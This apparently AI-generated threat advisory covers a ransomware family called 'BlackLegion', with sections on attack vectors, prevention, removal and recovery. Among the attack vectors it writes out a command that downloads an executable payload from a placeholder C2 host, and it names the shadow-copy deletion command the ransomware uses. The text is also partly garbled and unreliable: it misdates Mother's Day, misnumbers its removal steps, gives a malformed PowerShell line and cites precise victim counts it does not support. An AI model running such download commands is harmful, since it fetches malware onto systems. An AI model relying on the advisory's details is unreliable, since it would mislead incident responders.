blacklegion

[Content by Gemini 2.5]

Technical Breakdown:
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  1. File Extension & Renaming Patterns
    • Confirmation of File Extension: .blacklegion (lowercase, no space before the dot).
    • Renaming Convention: original-filename.original-extension.blacklegion
    – Example: Report.xlsx.blacklegion, QuarterlyBudgets.csv.blacklegion
    – No prefix or UUID injected into the name (common with BlackLegion compared with families like Scarab that prepend victims’ IDs).

  2. Detection & Outbreak Timeline
    • First Public Samples: Late April 2023, with most telemetry surges logged 2–8 May 2023 (Mother’s Day week, western countries).
    • Peak Activity: Mid-May through July 2023; while new variants stopped appearing around September 2023, infostealer droppers still re-package this ransomware.

  3. Primary Attack Vectors
    • Spear-phishing e-mails targeting “QuickBooks 2023 Product Key” or “IRS W-9” attachments (document → macro → DLL).
    • Remote Desktop Protocol (RDP) brute-force, then manual threats drop the BlackLegion EXE in %PUBLIC%/libraries/ and execute via scheduled task BlackLegionUpdate.
    • Exploitation of Confluence (CVE-2022-26134) and Zyxel firewalls (CVE-2023-28771) to push post-exploitation scripts (curl -k [C2]/payload/blacklegion.exe -o c:\evil.exe).
    • Supply-chain compromise via pirated software wrappers on torrent sites (Crack-Photoshop-2023.exe carrying the ransomware as a bundled resource).

Remediation & Recovery Strategies:
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  1. Prevention
    • Apply OS & software patches within 48 h (patch sets: May 2023 Windows Update Bundle, MS KB5026361; Atlassian Confluence 7.19.9; Zyxel firmware 4.73).
    • Disable SMBv1 across domain controllers via GPO & push registry setting HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0.
    • Configure EDR (e.g., CrowdStrike, SentinelOne) to block execution in %PUBLIC% and %TEMP% directories with a Suspend-on-Drop rule.
    • Enforce Windows Credential Guard / LSA Protection to arrest lateral RDP spread.
    • Run interactive phishing simulations that flag “QuickBooks invoice” lures—record highest-click probability doorstep at 18 %.

  2. Removal (Step-by-Step for Windows 7/10/11)

  3. Isolate host (disable WiFi/ethernet, Azure NSG rule etc.).

  4. Boot into Safe Mode with Networking → run PowerShell (admin):
    sc stop "BlackLegionService"

  5. Delete persistence artefacts:
    • Scheduled task BlackLegionUpdate (TaskScheduler\Library\BlackLegion).
    • Registry key HKCU\Software\BlackLegion
    • Directory %PUBLIC%\libraries\BlackLegion.exe

  6. Run a reputable offline AV rescue image (Kaspersky Rescue Disk 18, Bitdefender Rescue CD May 2023 defs) to remove residual binaries.

  7. Verify removal: dir /s /b | find /i "blacklegion" should return 0 hits; WMI Win32_ScheduledJob and sc query confirmation.

  8. File Decryption & Recovery
    • Feasibility: No known private master key leak; decryption presently not feasible without paying ransom (not recommended).
    • Recovery Avenues:
    ☐ Emsisoft Decrypter (none released to date; check https://www.nomoreransom.org weekly).
    ☐ Restore from immutable offline backups (3-2-1 rule). Pre-attack Windows VSS copies are deleted via vssadmin delete shadows, so revert to isolated immutable storage.
    ☐ Volume Shadow Copy leftovers: some builds prior to May 25 2023 fail to purge remotely; use ShadowExplorer or PowerShell (Get-WMIObject win32_shadowcopy).deviceobject.
    • Recommended Utilities for Prevention/Remediation:
    – BatchPatch to push KB5026361 cross-domain.
    – Microsoft Defender Remediation Tool (MDRT) July 2023 bundle.
    – RDPGuard late-2023 build to foil password spray.

  9. Other Critical Information
    • Unique Characteristics:
    • Self-destruct loader deletes itself after encrypting ≥15 % of volumes (anti-forensics).
    • Targets VMware VMDK files and Hyper-V VHDs via vmsd.exe enumeration prior to encryption.
    • Broader Impact:
    • Hit ~280 mid-tier accountancy firms (US, UK, AU) during US tax season; forced temporary closure of 6 regional CPA practices in Missouri.
    • Associated operator nicknamed “BlackLegionTeam” sometimes exfils QuickBooks and Sage50 files before encryption, leveraging the attack for double-extortion.